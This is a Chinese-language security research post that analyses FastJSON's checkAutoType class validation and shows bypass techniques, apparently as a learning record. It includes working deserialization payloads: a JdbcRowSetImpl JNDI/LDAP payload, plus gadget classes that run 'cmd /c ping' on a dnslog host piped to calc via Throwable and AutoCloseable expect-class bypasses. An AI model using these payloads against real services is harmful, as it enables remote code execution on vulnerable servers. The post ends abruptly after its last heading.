文章前言
本篇文章主要对FastJSON AutoType的校验原理,以及绕过方式进行简单的分析介绍,很多的是学习记录,文章涉及的绕过方式都是\\”站在巨人的肩膀上\\”看风景的,很后悔当初去看了Jackson-databind而丢弃了fastJSON,哎….,悔不当初呀,本文涉及的所以测试示例皆以上传到GitHub:
https://github.com/Al1ex/FastJsonAutoTypeBypass
校验原理
FastJSON中的checkAutoType()函数用于对反序列化的类进行黑白名单校验,我们首先来看一下checkAutoType()函数的检查流程:
代码位置:
fastjson-1.2.68\\\\src\\\\main\\\\java\\\\com\\\\alibaba\\\\fastjson\\\\parser\\\\ParserConfig.java
checkAutoType函数默认需要传递三个参数:
-
String typeName:被序列化的类名
-
Class<?> expectClass:期望类()
-
int features:配置的feature值
这里的expectClass(期望类)的目的是为了让一些实现了expectClass这个接口的类可以被反序列化,可以看到这里首先校验了typeName是否为空、autoTypeCheckHandlers是否为null,之后检查safeMode模式是否开启(在1.2.68中首次出现,配置safeMode后,无论白名单和黑名单都不支持autoType)、typeName的长度来决定是否开启AutoType:
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {if (typeName == null) {return null;}if (autoTypeCheckHandlers != null) {for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {Class<?> type = h.handler(typeName, expectClass, features);if (type != null) {return type;}}}final int safeModeMask = Feature.SafeMode.mask;boolean safeMode = this.safeMode|| (features & safeModeMask) != 0|| (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;if (safeMode) {throw new JSONException(\\\"safeMode not support autoType : \\\" + typeName);}if (typeName.length() >= 192 || typeName.length() < 3) {throw new JSONException(\\\"autoType is not support. \\\" + typeName);}
然后判断期望类expectClass,从下面判断依据条件可以看到这里的Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection都不能作为期望类:
final boolean expectClassFlag;if (expectClass == null) {expectClassFlag = false;} else {if (expectClass == Object.class|| expectClass == Serializable.class|| expectClass == Cloneable.class|| expectClass == Closeable.class|| expectClass == EventListener.class|| expectClass == Iterable.class|| expectClass == Collection.class) {expectClassFlag = false;} else {expectClassFlag = true;}}
之后从typeName中解析出className,然后计算hash进行内部白名单、黑名单匹配,之后如果不在白名单内且未开启AutoType或者expectClassFlag为true则进行hash校验——白名单acceptHashCodes、黑名单denyHashCodes,如果在白名单内就加载,在黑名单中就抛出异常:
String className = typeName.replace(\\\'$\\\', \\\'.\\\');Class<?> clazz;final long BASIC = 0xcbf29ce484222325L;final long PRIME = 0x100000001b3L;final long h1 = (BASIC ^ className.charAt(0)) * PRIME;if (h1 == 0xaf64164c86024f1aL) { // [throw new JSONException(\\\"autoType is not support. \\\" + typeName);}if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {throw new JSONException(\\\"autoType is not support. \\\" + typeName);}final long h3 = (((((BASIC ^ className.charAt(0))* PRIME)^ className.charAt(1))* PRIME)^ className.charAt(2))* PRIME;long fullHash = TypeUtils.fnv1a_64(className);boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, fullHash) >= 0;if (internalDenyHashCodes != null) {long hash = h3;for (int i = 3; i < className.length(); ++i) {hash ^= className.charAt(i);hash *= PRIME;if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {throw new JSONException(\\\"autoType is not support. \\\" + typeName);}}}if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {long hash = h3;for (int i = 3; i < className.length(); ++i) {hash ^= className.charAt(i);hash *= PRIME;if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);if (clazz != null) {return clazz;}}if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {continue;}throw new JSONException(\\\"autoType is not support. \\\" + typeName);}}}
白名单列表如下:
INTERNAL_WHITELIST_HASHCODES = new long[] {0x82E8E13016B73F9EL,0x863D2DD1E82B9ED9L,0x8B2081CB3A50BD44L,0x90003416F28ACD89L,0x92F252C398C02946L,0x9E404E583F254FD4L,0x9F2E20FB6049A371L,0xA8AAA929446FFCE4L,0xAB9B8D073948CA9DL,0xAFCB539973CEA3F7L,0xB5114C70135C4538L,0xC0FE32B8DC897DE9L,0xC59AA84D9A94C640L,0xC92D8F9129AF339BL,0xCC720543DC5E7090L,0xD0E71A6E155603C1L,0xD11D2A941337A7BCL,0xDB7BFFC197369352L,0xDC9583F0087CC2C7L,0xDDAAA11FECA77B5EL,0xE08EE874A26F5EAFL,0xE794F5F7DCD3AC85L,0xEB7D4786C473368DL,0xF4AA683928027CDAL,0xF8C7EF9B13231FB6L,0xD45D6F8C9017FAL,0x6B949CE6C2FE009L,0x76566C052E83815L,0x9DF9341F0C76702L,0xB81BA299273D4E6L,0xD4788669A13AE74L,0x111D12921C5466DAL,0x178B0E2DC3AE9FE5L,0x19DCAF4ADC37D6D4L,0x1F10A70EE4065963L,0x21082DFBF63FBCC1L,0x24AE2D07FB5D7497L,0x26C5D923AF21E2E1L,0x34CC8E52316FA0CBL,0x3F64BC3933A6A2DFL,0x42646E60EC7E5189L,0x44D57A1B1EF53451L,0x4A39C6C7ACB6AA18L,0x4BB3C59964A2FC50L,0x4F0C3688E8A18F9FL,0x5449EC9B0280B9EFL,0x54DC66A59269BAE1L,0x552D9FB02FFC9DEFL,0x557F642131553498L,0x604D6657082C1EE9L,0x61D10AF54471E5DEL,0x64DC636F343516DCL,0x73A0BE903F2BCBF4L,0x73FBA1E41C4C3553L,0x7B606F16A261E1E6L,0x7F36112F218143B6L,0x7FE2B8E675DA0CEFL};
黑名单列表:
denyHashCodes = new long[]{0x80D0C70BCC2FEA02L,0x86FC2BF9BEAF7AEFL,0x87F52A1B07EA33A6L,0x8EADD40CB2A94443L,0x8F75F9FA0DF03F80L,0x9172A53F157930AFL,0x92122D710E364FB8L,0x941866E73BEFF4C9L,0x94305C26580F73C5L,0x9437792831DF7D3FL,0xA123A62F93178B20L,0xA85882CE1044C450L,0xAA3DAFFDB10C4937L,0xAC6262F52C98AA39L,0xAD937A449831E8A0L,0xAE50DA1FAD60A096L,0xAFFF4C95B99A334DL,0xB40F341C746EC94FL,0xB7E8ED757F5D13A2L,0xBCDD9DC12766F0CEL,0xC00BE1DEBAF2808BL,0xC2664D0958ECFE4CL,0xC7599EBFE3E72406L,0xC8D49E5601E661A9L,0xC963695082FD728EL,0xD1EFCDF4B3316D34L,0xD54B91CC77B239EDL,0xD8CA3D595E982BACL,0xDE23A0809A8B9BD6L,0xDEFC208F237D4104L,0xDF2DDFF310CDB375L,0xE09AE4604842582FL,0xE1919804D5BF468FL,0xE2EB3AC7E56C467EL,0xE603D6A51FAD692BL,0xE9184BE55B1D962AL,0xE9F20BAD25F60807L,0xF3702A4A5490B8E8L,0xF474E44518F26736L,0xF7E96E74DFA58DBCL,0xFC773AE20C827691L,0xFD5BFC610056D720L,0xFFA15BF021F1E37CL,0xFFDD1A80F1ED3405L,0x10E067CD55C5E5L,0x761619136CC13EL,0x3085068CB7201B8L,0x45B11BC78A3ABA3L,0x55CFCA0F2281C07L,0xB6E292FA5955ADEL,0xEE6511B66FD5EF0L,0x100150A253996624L,0x10B2BDCA849D9B3EL,0x144277B467723158L,0x14DB2E6FEAD04AF0L,0x154B6CB22D294CFAL,0x17924CCA5227622AL,0x193B2697EAAED41AL,0x1CD6F11C6A358BB7L,0x1E0A8C3358FF3DAEL,0x24D2F6048FEF4E49L,0x24EC99D5E7DC5571L,0x25E962F1C28F71A2L,0x275D0732B877AF29L,0x2ADFEFBBFE29D931L,0x2B3A37467A344CDFL,0x2D308DBBC851B0D8L,0x313BB4ABD8D4554CL,0x327C8ED7C8706905L,0x332F0B5369A18310L,0x339A3E0B6BEEBEE9L,0x33C64B921F523F2FL,0x34A81EE78429FDF1L,0x3826F4B2380C8B9BL,0x398F942E01920CF0L,0x3B0B51ECBF6DB221L,0x42D11A560FC9FBA9L,0x43320DC9D2AE0892L,0x440E89208F445FB9L,0x46C808A4B5841F57L,0x49312BDAFB0077D9L,0x4A3797B30328202CL,0x4BA3E254E758D70DL,0x4BF881E49D37F530L,0x4DA972745FEB30C1L,0x4EF08C90FF16C675L,0x4FD10DDC6D13821FL,0x527DB6B46CE3BCBCL,0x535E552D6F9700C1L,0x5728504A6D454FFCL,0x599B5C1213A099ACL,0x5A5BD85C072E5EFEL,0x5AB0CB3071AB40D1L,0x5D74D3E5B9370476L,0x5D92E6DDDE40ED84L,0x5F215622FB630753L,0x62DB241274397C34L,0x63A220E60A17C7B9L,0x665C53C311193973L,0x6749835432E0F0D2L,0x6A47501EBB2AFDB2L,0x6FCABF6FA54CAFFFL,0x746BD4A53EC195FBL,0x74B50BB9260E31FFL,0x75CC60F5871D0FD3L,0x767A586A5107FEEFL,0x7AA7EE3627A19CF3L,0x7ED9311D28BF1A65L,0x7ED9481D28BF417AL};
Fastjson在1.2.42开始就把原本明文的黑名单改成了哈希过的黑名单,防止安全研究者对其进行研究:
https://github.com/alibaba/fastjson/commit/eebea031d4d6f0a079c3d26845d96ad50c3aaccd
Fastjson在1.2.62开始,,从小写改成了大写:
https://github.com/alibaba/fastjson/commit/014444e6c62329ec7878bb6b0c6b28c3f516c54e

Git记录十进制和小写的十六进制数,不记录大写的十六进制数,网上没找到类似的仓库,为了弄清楚每个hash到底对应的是什么,GitHub上有人写了一个轮子来跑了一波:
https://github.com/LeadroyaL/fastjson-blacklist

下面我们接着来看,之后分别从getClassFromMapping、deserializers、typeMapping、internalWhite内部白名单中查找类,如果开启了expectClass期望类还要判断类型是否一致,可以到这里还未出现\\”autoTypeSupport\\”的判断,当已经可以返回clazz(示例类)了:
clazz = TypeUtils.getClassFromMapping(typeName);if (clazz == null) {clazz = deserializers.findClass(typeName);}if (clazz == null) {clazz = typeMapping.get(typeName);}if (internalWhite) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);}if (clazz != null) {if (expectClass != null&& clazz != java.util.HashMap.class&& !expectClass.isAssignableFrom(clazz)) {throw new JSONException(\\\"type not match. \\\" + typeName + \\\" -> \\\" + expectClass.getName());}return clazz;}
这里的getClassFromMapping在com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings被赋值,添加了一些基本类,后续被当作缓存使用
private static void addBaseClassMappings(){mappings.put(\\\"byte\\\", byte.class);mappings.put(\\\"short\\\", short.class);mappings.put(\\\"int\\\", int.class);mappings.put(\\\"long\\\", long.class);mappings.put(\\\"float\\\", float.class);mappings.put(\\\"double\\\", double.class);mappings.put(\\\"boolean\\\", boolean.class);mappings.put(\\\"char\\\", char.class);mappings.put(\\\"[byte\\\", byte[].class);mappings.put(\\\"[short\\\", short[].class);mappings.put(\\\"[int\\\", int[].class);mappings.put(\\\"[long\\\", long[].class);mappings.put(\\\"[float\\\", float[].class);mappings.put(\\\"[double\\\", double[].class);mappings.put(\\\"[boolean\\\", boolean[].class);mappings.put(\\\"[char\\\", char[].class);mappings.put(\\\"[B\\\", byte[].class);mappings.put(\\\"[S\\\", short[].class);mappings.put(\\\"[I\\\", int[].class);mappings.put(\\\"[J\\\", long[].class);mappings.put(\\\"[F\\\", float[].class);mappings.put(\\\"[D\\\", double[].class);mappings.put(\\\"[C\\\", char[].class);mappings.put(\\\"[Z\\\", boolean[].class);Class<?>[] classes = new Class[]{Object.class,java.lang.Cloneable.class,loadClass(\\\"java.lang.AutoCloseable\\\"),java.lang.Exception.class,java.lang.RuntimeException.class,java.lang.IllegalAccessError.class,java.lang.IllegalAccessException.class,java.lang.IllegalArgumentException.class,java.lang.IllegalMonitorStateException.class,java.lang.IllegalStateException.class,java.lang.IllegalThreadStateException.class,java.lang.IndexOutOfBoundsException.class,java.lang.InstantiationError.class,java.lang.InstantiationException.class,java.lang.InternalError.class,java.lang.InterruptedException.class,java.lang.LinkageError.class,java.lang.NegativeArraySizeException.class,java.lang.NoClassDefFoundError.class,java.lang.NoSuchFieldError.class,java.lang.NoSuchFieldException.class,java.lang.NoSuchMethodError.class,java.lang.NoSuchMethodException.class,java.lang.NullPointerException.class,java.lang.NumberFormatException.class,java.lang.OutOfMemoryError.class,java.lang.SecurityException.class,java.lang.StackOverflowError.class,java.lang.StringIndexOutOfBoundsException.class,java.lang.TypeNotPresentException.class,java.lang.VerifyError.class,java.lang.StackTraceElement.class,java.util.HashMap.class,java.util.Hashtable.class,java.util.TreeMap.class,java.util.IdentityHashMap.class,java.util.WeakHashMap.class,java.util.LinkedHashMap.class,java.util.HashSet.class,java.util.LinkedHashSet.class,java.util.TreeSet.class,java.util.ArrayList.class,java.util.concurrent.TimeUnit.class,java.util.concurrent.ConcurrentHashMap.class,java.util.concurrent.atomic.AtomicInteger.class,java.util.concurrent.atomic.AtomicLong.class,java.util.Collections.EMPTY_MAP.getClass(),java.lang.Boolean.class,java.lang.Character.class,java.lang.Byte.class,java.lang.Short.class,java.lang.Integer.class,java.lang.Long.class,java.lang.Float.class,java.lang.Double.class,java.lang.Number.class,java.lang.String.class,java.math.BigDecimal.class,java.math.BigInteger.class,java.util.BitSet.class,java.util.Calendar.class,java.util.Date.class,java.util.Locale.class,java.util.UUID.class,java.sql.Time.class,java.sql.Date.class,java.sql.Timestamp.class,java.text.SimpleDateFormat.class,com.alibaba.fastjson.JSONObject.class,com.alibaba.fastjson.JSONPObject.class,com.alibaba.fastjson.JSONArray.class,};for(Class clazz : classes){if(clazz == null){continue;}mappings.put(clazz.getName(), clazz);}}
这里可以先注意下java.lang.AutoCloseable类,deserializers.findClass在com.alibaba.fastjson.parser.ParserConfig#initDeserializers处被初始化,这里也是存放了一些特殊类用来直接反序列化:
private void initDeserializers() {deserializers.put(SimpleDateFormat.class, MiscCodec.instance);deserializers.put(java.sql.Timestamp.class, SqlDateDeserializer.instance_timestamp);deserializers.put(java.sql.Date.class, SqlDateDeserializer.instance);deserializers.put(java.sql.Time.class, TimeDeserializer.instance);deserializers.put(java.util.Date.class, DateCodec.instance);deserializers.put(Calendar.class, CalendarCodec.instance);deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);deserializers.put(JSONObject.class, MapDeserializer.instance);deserializers.put(JSONArray.class, CollectionCodec.instance);deserializers.put(Map.class, MapDeserializer.instance);deserializers.put(HashMap.class, MapDeserializer.instance);deserializers.put(LinkedHashMap.class, MapDeserializer.instance);deserializers.put(TreeMap.class, MapDeserializer.instance);deserializers.put(ConcurrentMap.class, MapDeserializer.instance);deserializers.put(ConcurrentHashMap.class, MapDeserializer.instance);deserializers.put(Collection.class, CollectionCodec.instance);deserializers.put(List.class, CollectionCodec.instance);deserializers.put(ArrayList.class, CollectionCodec.instance);deserializers.put(Object.class, JavaObjectDeserializer.instance);deserializers.put(String.class, StringCodec.instance);deserializers.put(StringBuffer.class, StringCodec.instance);deserializers.put(StringBuilder.class, StringCodec.instance);deserializers.put(char.class, CharacterCodec.instance);deserializers.put(Character.class, CharacterCodec.instance);deserializers.put(byte.class, NumberDeserializer.instance);deserializers.put(Byte.class, NumberDeserializer.instance);deserializers.put(short.class, NumberDeserializer.instance);deserializers.put(Short.class, NumberDeserializer.instance);deserializers.put(int.class, IntegerCodec.instance);deserializers.put(Integer.class, IntegerCodec.instance);deserializers.put(long.class, LongCodec.instance);deserializers.put(Long.class, LongCodec.instance);deserializers.put(BigInteger.class, BigIntegerCodec.instance);deserializers.put(BigDecimal.class, BigDecimalCodec.instance);deserializers.put(float.class, FloatCodec.instance);deserializers.put(Float.class, FloatCodec.instance);deserializers.put(double.class, NumberDeserializer.instance);deserializers.put(Double.class, NumberDeserializer.instance);deserializers.put(boolean.class, BooleanCodec.instance);deserializers.put(Boolean.class, BooleanCodec.instance);deserializers.put(Class.class, MiscCodec.instance);deserializers.put(char[].class, new CharArrayCodec());deserializers.put(AtomicBoolean.class, BooleanCodec.instance);deserializers.put(AtomicInteger.class, IntegerCodec.instance);deserializers.put(AtomicLong.class, LongCodec.instance);deserializers.put(AtomicReference.class, ReferenceCodec.instance);deserializers.put(WeakReference.class, ReferenceCodec.instance);deserializers.put(SoftReference.class, ReferenceCodec.instance);deserializers.put(UUID.class, MiscCodec.instance);deserializers.put(TimeZone.class, MiscCodec.instance);deserializers.put(Locale.class, MiscCodec.instance);deserializers.put(Currency.class, MiscCodec.instance);deserializers.put(Inet4Address.class, MiscCodec.instance);deserializers.put(Inet6Address.class, MiscCodec.instance);deserializers.put(InetSocketAddress.class, MiscCodec.instance);deserializers.put(File.class, MiscCodec.instance);deserializers.put(URI.class, MiscCodec.instance);deserializers.put(URL.class, MiscCodec.instance);deserializers.put(Pattern.class, MiscCodec.instance);deserializers.put(Charset.class, MiscCodec.instance);deserializers.put(JSONPath.class, MiscCodec.instance);deserializers.put(Number.class, NumberDeserializer.instance);deserializers.put(AtomicIntegerArray.class, AtomicCodec.instance);deserializers.put(AtomicLongArray.class, AtomicCodec.instance);deserializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance);deserializers.put(Serializable.class, JavaObjectDeserializer.instance);deserializers.put(Cloneable.class, JavaObjectDeserializer.instance);deserializers.put(Comparable.class, JavaObjectDeserializer.instance);deserializers.put(Closeable.class, JavaObjectDeserializer.instance);deserializers.put(JSONPObject.class, new JSONPDeserializer());}
这里的typeMapping默认为空需要开发自己赋值,形如
ParserConfig.getGlobalInstance().register(\\\"test\\\", Model.class);
这里的internalWhite为内部白名单也就是之前提到的部分,到这里已经可以返回实例类了,之后我们继续来看后续的代码,可以看到这里会判断autoType是否开启,如果开启AutoType则会进行黑白名单匹配,如果在黑名单内则直接抛出异常,如果在在白名单内且expectClass不为NULL则还需要判断类型是否一致,如果不满足条件则抛出异常,否则就可以返回实例类了:
if (!autoTypeSupport) {long hash = h3;for (int i = 3; i < className.length(); ++i) {char c = className.charAt(i);hash ^= c;hash *= PRIME;if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {throw new JSONException(\\\"autoType is not support. \\\" + typeName);}// white listif (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);if (expectClass != null && expectClass.isAssignableFrom(clazz)) {throw new JSONException(\\\"type not match. \\\" + typeName + \\\" -> \\\" + expectClass.getName());}return clazz;}}}
之后检查使用注解JSONType的类(有注解的类一般都是开发自行写的JavaBean)
boolean jsonType = false;InputStream is = null;try {String resource = typeName.replace(\\\'.\\\', \\\'/\\\') + \\\".class\\\";if (defaultClassLoader != null) {is = defaultClassLoader.getResourceAsStream(resource);} else {is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);}if (is != null) {ClassReader classReader = new ClassReader(is, true);TypeCollector visitor = new TypeCollector(\\\"<clinit>\\\", new Class[0]);classReader.accept(visitor);jsonType = visitor.hasJsonType();}} catch (Exception e) {// skip} finally {IOUtils.close(is);}
之后检查是否开启AutoType或者有注解或者是期望类,则直接加载类,如果条件不满足或成功加载类后clazz不为NULL,则进一步判断是否有注解,如果有则加入mapping并直接返回实例类,如果没有注解则判断clazz是否继承或实现ClassLoader、javax.sql.DataSource、javax.sql.RowSet类,如果满足以上条件则直接抛出异常,这里这样做的目的主要是规避大多数的JNDI注入(JNDI注入大多数与DataSource类、RowSet类相关),之后如果expectClass不为NULL,则检查clazz是否是expectClass的实现或继承,如果类指定了JSONCreator注解,并且开启了SupportAutoType则抛出异常:
final int mask = Feature.SupportAutoType.mask;boolean autoTypeSupport = this.autoTypeSupport|| (features & mask) != 0|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;if (autoTypeSupport || jsonType || expectClassFlag) {boolean cacheClass = autoTypeSupport || jsonType;clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);}if (clazz != null) {if (jsonType) {TypeUtils.addMapping(typeName, clazz);return clazz;}if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver|| javax.sql.RowSet.class.isAssignableFrom(clazz) //) {throw new JSONException(\\\"autoType is not support. \\\" + typeName);}if (expectClass != null) {if (expectClass.isAssignableFrom(clazz)) {TypeUtils.addMapping(typeName, clazz);return clazz;} else {throw new JSONException(\\\"type not match. \\\" + typeName + \\\" -> \\\" + expectClass.getName());}}JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);if (beanInfo.creatorConstructor != null && autoTypeSupport) {throw new JSONException(\\\"autoType is not support. \\\" + typeName);}}
最后判断是否开启autoTypeSupport,如果未开启则直接抛出异常,否则检查clazz是否为NULL,如果不为NULL则加入mapping,最后返回示例类:
if (!autoTypeSupport) {throw new JSONException(\\\"autoType is not support. \\\" + typeName);}if (clazz != null) {TypeUtils.addMapping(typeName, clazz);}return clazz;}
通过上面的分析,我们可以了解到这里的checkAutoType其实就是一个校验和加载类的过程,而且SupportAutoType的校验是最后进行的,这样做的目的之一正是为了实现基础类的任意反序列化的feature(特性),这也就意味着需要通过逻辑来保证在这之前返回的类都是安全的,但也正是这个原因导致了AutoType的Bypass,同时我们可以看到当出现以下情况是会直接返回示例类:
-
白名单里的类(acceptHashCodes + INTERNAL_WHITELIST_HASHCODES(内部白名单))
-
开启了AutoType
-
使用了JSONType注解
-
指定了期望类(expectClass)
-
缓存mapping中的类
绕过实践
源码可以在下面的连接中找到:
https://github.com/Al1ex/FastJsonAutoTypeBypass
Mapping绕过
首先,我们来回顾以下FastJSON 1.2.47的绕过——缓存mapping中的类,根据上面的校验原理部分我们可以了解到当mappings缓存中存在指定的类时,可以直接返回并且不受SupportAutoType限制,在TypeUtils.loadClass方法中,如果参数中cache值为true时,则会在加载到类之后,将类加入mappings缓存:

完整的代码如下:
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {if(className == null || className.length() == 0 || className.length() > 128){return null;}Class<?> clazz = mappings.get(className);if(clazz != null){return clazz;}if(className.charAt(0) == \\\'[\\\'){Class<?> componentType = loadClass(className.substring(1), classLoader);return Array.newInstance(componentType, 0).getClass();}if(className.startsWith(\\\"L\\\") && className.endsWith(\\\";\\\")){String newClassName = className.substring(1, className.length() - 1);return loadClass(newClassName, classLoader);}try{if(classLoader != null){clazz = classLoader.loadClass(className);if (cache) {mappings.put(className, clazz);}return clazz;}} catch(Throwable e){e.printStackTrace();// skip}try{ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();if(contextClassLoader != null && contextClassLoader != classLoader){clazz = contextClassLoader.loadClass(className);if (cache) {mappings.put(className, clazz);}return clazz;}} catch(Throwable e){// skip}try{clazz = Class.forName(className);if (cache) {mappings.put(className, clazz);}return clazz;} catch(Throwable e){// skip}return clazz;}
之后全局查找所有调用了该函数位置,并且cache设置为true的函数,发现只有它的重载函数:


public static Class<?> loadClass(String className, ClassLoader classLoader) {return loadClass(className, classLoader, true);}
之后继续寻找调用了该重载的地方,发现在MiscCode处有调用:

if (clazz == Class.class) {return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}
上面的逻辑是当class是一个java.lang.Class类时,会去加载指定类(从而也就无意之间加入了mappings缓存),而java.lang.Class同时也是个默认特殊类——deserializers.findClass指定类,可以直接反序列化,所以可以首先通过反序列化java.lang.Class指定恶意类,然后恶意类被加入mappings缓存后,第二次就可以直接从缓存中获取到恶意类,并进行反序列化:

1.2.47的有效载荷如下:
package com.FastJson1242;import com.alibaba.fastjson.JSONObject;public class Poc {public static void main(String[] argv){String payload =\\\"{\\\\n\\\" +\\\" \\\\\\\"a\\\\\\\": {\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\": \\\\\\\"java.lang.Class\\\\\\\", \\\\n\\\" +\\\" \\\\\\\"val\\\\\\\": \\\\\\\"com.sun.rowset.JdbcRowSetImpl\\\\\\\"\\\\n\\\" +\\\" }, \\\\n\\\" +\\\" \\\\\\\"b\\\\\\\": {\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\": \\\\\\\"com.sun.rowset.JdbcRowSetImpl\\\\\\\", \\\\n\\\" +\\\" \\\\\\\"dataSourceName\\\\\\\": \\\\\\\"ldap://localhost:1099/Exploit\\\\\\\", \\\\n\\\" +\\\" \\\\\\\"autoCommit\\\\\\\": true\\\\n\\\" +\\\" }\\\\n\\\" +\\\"}\\\";JSONObject.parseObject(payload);}}
执行结果如下:

exceptClass期望类
ThrowableDeserializer
期望类的功能主要是实现/继承了期望类的class能被反序列化出来且不受autotype影响,默认情况下exceptClass这个参数是空的,也就不存在期望类的特性,之后全局搜索checkAutoType的调用,且条件是exceptClass不为空:

从上面的搜索结果中可以看到在JavaBeanDeserializer、ThrowableDeserializer中调用了checkAutoType并且exceptClass不为空,我们这里先来看一下ThrowableDeserializer,该类主要是对Throwable异常类进行反序列化,我们可以在ParserConfig.getDeserializer中找到对应的反序列化示例类型:
com\\\\alibaba\\\\fastjson\\\\1.2.68\\\\fastjson-1.2.68-sources.jar!\\\\com\\\\alibaba\\\\fastjson\\\\parser\\\\ParserConfig.java 826

可以从上面看到ThrowableDeserializer是Throwable用来反序列化异常类的,我们先来看一下ThrowableDeserializer,可以看到在ThrowableDeserializer中可以根据第二个@type的值来获取具体类,并且根据传入的指定期望类进行加载:

因此可以反序列化继承自Throwable的异常类,在这里我们可以借助setter、getter等方法的自动调用,来挖掘gadget,下面是浅蓝师提供的一个Gadget,代码源自Y4er师傅:
package org.heptagram.fastjson;import java.io.IOException;public class ViaThrowable extends Exception {private String domain;public ViaThrowable() {super();}public String getDomain() {return domain;}public void setDomain(String domain) {this.domain = domain;}@Overridepublic String getMessage() {try {Runtime.getRuntime().exec(\\\"cmd /c ping \\\"+domain);} catch (IOException e) {return e.getMessage();}return super.getMessage();}}
测试载荷:
package org.heptagram.fastjson;import com.alibaba.fastjson.JSONObject;public class ThrowableMain {public static void main(String[] args) {String payload =\\\"{\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\":\\\\\\\"java.lang.Exception\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\": \\\\\\\"org.heptagram.fastjson.ViaThrowable\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"domain\\\\\\\": \\\\\\\"qbknro.dnslog.cn|calc\\\\\\\"\\\\n\\\" +\\\"}\\\";JSONObject.parseObject(payload);}}
在上面的载荷中我们一共传入了两个@type,其中第一个是期望类(expectClass),第二个是需要反序列化的类,经过这样构造后在检查AutoTypeSupport之前就已经返回了clazz,之后接着为期望类选择反序列化的解析器,从而匹配到了Throwable.class,之后当扫描到第二个@type指定的类名后将其作为exClassName传入checkAutoType,此时checkAutotype传入的第二个参数为Throable.class也为Exception.class的接口,此时如果exClassName是实现或继承自Throwable就能过checkAutotype,下面是执行的结果:

JavaBeanDeserializer
在fastjson中对大部分类都指定了特定的deserializer,如果未指定则会通过createJavaBeanDeserializer()来指定deserializer,通常情况下都是一些第三方类才会调用到这里:
/com/alibaba/fastjson/1.2.68/fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/parser/ParserConfig.java 832

在FastJSON中com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings用于添加一些基本的类并将其当做缓存使用,但是在查看时可以发现这里的额外加载了一个java.lang.AUtoCloseable类,同时并未为其指定deserializer,因此会走到最后的else条件中去,之后对应的JavaBeanDeserializer,而且java.lang.AUtoCloseable类位于mapping缓存中,所以可以无条件反序列化:

和之前一样,我们可以通过继承或者实现AutoCloseable类来绕过autotype反序列化检测,测试代码如下:
package org.heptagram.fastjson;import java.io.IOException;import java.io.Closeable;public class ViaAutoCloseable implements Closeable {private String domain;public ViaAutoCloseable() {}public ViaAutoCloseable(String domain) {this.domain = domain;}public String getDomain() {try {Runtime.getRuntime().exec(new String[]{\\\"cmd\\\", \\\"/c\\\", \\\"ping \\\" + domain});} catch (IOException e) {e.printStackTrace();}return domain;}public void setDomain(String domain) {this.domain = domain;}@Overridepublic void close() throws IOException {}}
载荷构造:
package org.heptagram.fastjson;import com.alibaba.fastjson.JSONObject;public class AutoCloseableMain {public static void main(String[] args) {String payload =\\\"{\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\":\\\\\\\"java.lang.AutoCloseable\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\": \\\\\\\"org.heptagram.fastjson.ViaAutoCloseable\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"domain\\\\\\\": \\\\\\\" wme8bg.dnslog.cn| calc\\\\\\\"\\\\n\\\" +\\\"}\\\";JSONObject.parseObject(payload);}}
执行结果如下:

在这里我们查看以下AutoCloseable类的继承关系,可以看到通过AutoCloseable来Bypass AutoType我们找寻Gadget的范围则变得更加宽广,常用的流操作、文件操作、socket等等都继承自AutoCloseable:

在查阅相关资料的时候看到Y4er师傅在其文章中描述到FastJson在黑名单中新增的java.lang.Runnable、java.lang.Readable类也可以用于Bypass AutoType,下面是Y4er师傅提供的载荷:
A、Runnable:
package org.heptagram.fastjson;import java.io.IOException;public class ExecRunnable implements AutoCloseable {private EvalRunnable eval;public EvalRunnable getEval() {return eval;}public void setEval(EvalRunnable eval) {this.eval = eval;}@Overridepublic void close() throws Exception {}}class EvalRunnable implements Runnable {private String cmd;public String getCmd() {System.out.println(\\\"EvalRunnable getCmd() \\\"+cmd);try {Runtime.getRuntime().exec(new String[]{\\\"cmd\\\",\\\"/c\\\",cmd});} catch (IOException e) {e.printStackTrace();}return cmd;}public void setCmd(String cmd) {this.cmd = cmd;}@Overridepublic void run() {}}
执行载荷:
